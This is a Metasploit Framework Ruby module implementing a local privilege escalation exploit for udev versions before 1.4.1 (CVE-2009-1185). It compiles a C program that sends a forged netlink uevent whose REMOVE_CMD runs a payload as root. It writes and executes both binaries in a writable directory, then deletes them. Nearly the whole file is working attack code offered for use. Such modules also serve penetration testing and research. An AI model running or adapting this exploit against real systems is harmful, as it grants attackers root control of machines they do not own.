262 lines
7.2 KiB
Ruby
262 lines
7.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/common'
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require 'msf/core/post/file'
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require 'msf/core/post/linux/priv'
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require 'msf/core/exploit/local/linux_kernel'
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require 'msf/core/exploit/local/linux'
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require 'msf/core/exploit/local/unix'
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require 'msf/core/exploit/exe'
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#load 'lib/msf/core/post/file.rb'
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#load 'lib/msf/core/exploit/local/unix.rb'
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#load 'lib/msf/core/exploit/local/linux.rb'
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#load 'lib/msf/core/exploit/local/linux_kernel.rb'
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class Metasploit4 < Msf::Exploit::Local
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Rank = GreatRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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include Msf::Post::Common
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include Msf::Exploit::Local::LinuxKernel
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include Msf::Exploit::Local::Linux
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include Msf::Exploit::Local::Unix
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def initialize(info={})
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super( update_info( info, {
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'Name' => 'Linux udev Netlink Local Privilege Escalation',
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'Description' => %q{
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Versions of udev < 1.4.1 do not verify that netlink messages are
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coming from the kernel. This allows local users to gain privileges by
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sending netlink messages from userland.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'kcope', # discovery
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'Jon Oberheide', # 95-udev-late.rules technique
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'egypt' # metasploit module
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],
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'Platform' => [ 'linux' ],
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'Arch' => [ ARCH_X86 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'References' =>
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[
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[ 'CVE', '2009-1185' ],
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[ 'OSVDB', '53810' ],
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[ 'BID', '34536' ]
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],
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'Targets' =>
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[
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[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
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[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
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#[ 'Command payload', { 'Arch' => ARCH_CMD } ],
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],
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'DefaultOptions' => { 'WfsDelay' => 2 },
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'DefaultTarget' => 0,
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'DisclosureDate' => "Apr 16 2009",
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}
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))
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register_options([
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OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
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OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]),
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], self.class)
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end
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def exploit
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if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0
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netlink_pid = datastore["NetlinkPID"]
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else
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print_status("Attempting to autodetect netlink pid...")
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netlink_pid = autodetect_netlink_pid
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end
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if not netlink_pid
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print_error "Couldn't autodetect netlink PID, try specifying it manually."
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print_error "Look in /proc/net/netlink for a PID near that of the udevd process"
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return
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else
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print_good "Found netlink pid: #{netlink_pid}"
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end
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sc = Metasm::ELF.new(@cpu)
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sc.parse %Q|
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#define DEBUGGING
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#define NULL ((void*)0)
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#ifdef __ELF__
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.section ".bss" rwx
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.section ".text" rwx
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.entrypoint
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#endif
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call main
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push eax
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call exit
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# Set up the same include order as the bionic build system.
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# See external/source/meterpreter/source/bionic/libc/Jamfile
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cparser.lexer.include_search_path = [
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"external/source/meterpreter/source/bionic/libc/include/",
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"external/source/meterpreter/source/bionic/libc/private/",
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"external/source/meterpreter/source/bionic/libc/bionic/",
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"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
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"external/source/meterpreter/source/bionic/libc/kernel/common/",
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"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
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]
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cparser.parse(%Q|
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#define DEBUGGING
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// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
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#ifndef __extension__
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#define __extension__
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#endif
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// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
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// Doing #if on an undefined macro is fine in GCC, but a parse error in
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// metasm.
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#ifndef __STDC__
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#define __STDC__ 0
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#endif
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#include <sys/types.h>
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#include <stdarg.h>
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#include <stdio.h>
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#include <unistd.h>
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#include <errno.h>
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|)
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[
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"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
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"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
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"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
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].each do |fname|
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cparser.parse(File.read(fname), fname)
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end
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payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
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evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
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unix_socket_h(sc)
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linux_x86_syscall_wrappers(sc)
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main = %Q^
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#include <string.h>
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#include <linux/netlink.h>
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#define NULL 0
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int main() {
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int sock;
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struct iovec iov;
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struct sockaddr_nl sa;
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struct msghdr msg;
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char *mp;
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char message[4096];
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memset(sa, 0, sizeof(sa));
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sa.nl_family = AF_NETLINK;
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sa.nl_pid = #{netlink_pid};
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sa.nl_groups = 0;
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memset(&msg, 0x00, sizeof(struct msghdr));
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msg.msg_name = (void *)&sa;
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msg.msg_namelen = sizeof(sa);
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msg.msg_iov = &iov;
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msg.msg_iovlen = 1;
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msg.msg_control = NULL;
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msg.msg_controllen = 0;
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msg.msg_flags = 0;
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sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
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bind(sock, (struct sockaddr *) &sa, sizeof(sa));
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mp = message;
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mp += sprintf(mp, "remove@/d") + 1;
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mp += sprintf(mp, "SUBSYSTEM=block") + 1;
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mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1;
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mp += sprintf(mp, "TIMEOUT=10") + 1;
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mp += sprintf(mp, "ACTION=remove") +1;
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mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1;
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iov.iov_base = (void*)message;
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iov.iov_len = (int)(mp-message);
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sendmsg(sock, &msg, 0);
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close(sock);
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return 0;
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}
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^
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cparser.parse(main, "main.c")
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asm = cpu.new_ccompiler(cparser, sc).compile
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sc.parse asm
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sc.assemble
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begin
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elf = sc.encode_string
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rescue
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print_error "Metasm Encoding failed: #{$!}"
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elog "Metasm Encoding failed: #{$!.class} : #{$!}"
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elog "Call stack:\n#{$!.backtrace.join("\n")}"
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return
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end
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pl = payload.encoded_exe
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print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}"
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write_file(payload_path, pl)
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print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}"
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write_file(evil_path, elf)
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print_status "chmod'ing and running it..."
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cmd_exec("chmod 755 #{evil_path} #{payload_path}")
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cmd_exec("#{evil_path}")
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rm_f(evil_path, payload_path)
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end
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def autodetect_netlink_pid
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netlink_pid = nil
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case session.type
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when "meterpreter"
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print_status("Meterpreter session, using get_processes to find netlink pid")
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process_list = session.sys.process.get_processes
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udev_proc = process_list.find {|p| p["name"] =~ /udevd/ }
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udev_pid = udev_proc["pid"]
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print_status "udev pid: #{udev_pid}"
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netlink = read_file("/proc/net/netlink")
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netlink.each_line do |line|
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pid = line.split(/\s+/)[2].to_i
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if pid == udev_pid - 1
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netlink_pid = pid
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break
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end
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end
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else
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print_status("Shell session, trying sh script to find netlink pid")
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netlink_pid = cmd_exec(
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%q^
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for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do
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for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do
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[ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;
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done;
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done ^)
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netlink_pid = nil if netlink_pid.empty?
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end
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netlink_pid
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end
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end
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